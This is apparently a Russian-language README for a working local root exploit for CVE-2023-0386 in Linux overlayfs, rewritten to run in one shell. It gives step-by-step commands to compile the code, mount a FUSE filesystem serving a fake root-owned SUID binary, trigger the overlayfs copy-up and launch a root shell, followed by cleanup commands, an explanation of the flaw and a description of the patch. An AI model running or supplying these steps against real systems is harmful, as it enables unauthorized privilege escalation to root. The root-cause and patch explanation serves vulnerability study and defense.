
Копирование фейковых файлов из памяти на диск с использованием overlayFS
Оригинальный источник CVE, написанный xkaneiki: https://github.com/xkaneiki/CVE-2023-0386/tree/main
Переписано так, чтобы эксплойт можно было запустить в одной оболочке (оригинальный эксплойт требует двух оболочек).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Очистка
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt для просмотра смонтированных файловых системfuse.c создаёт файловую систему FUSE, смонтированную в /tmp/fusepwn/lower, и предоставляет поддельный SUID-бинарь, принадлежащий root. Это файловая система в памяти, поэтому мы можем указывать любые права доступа.
exp.c затем создаёт монтирование overlayfs в /tmp/fusepwn и открывает поддельный SUID-бинарь (/tmp/fusepwn/lower/bin). При открытии это вызывает в overlayfs операцию copy-up, которая записывает поддельный SUID-бинарь на диск с реальными SUID-привилегиями и владельцем root.
Уязвимость существует в overlayfs, поскольку он слепо доверяет правам доступа к файлам, которые предоставляет нижележащая файловая система. Если нижняя файловая система — это ядро, то это нормально (поскольку ею нельзя манипулировать без root-прав). Если же нижняя файловая система может изменяться пользователем, это уже проблема, потому что мы можем сообщать ложную информацию о том, какие файлы там находятся (например, используя FUSE).
Патч проверяет, действителен ли UID/GID файла внутри пользовательского пространства имён (user namespace). Если нет, операция copy-up завершается неудачей.
т.е.
proc/self/uid_map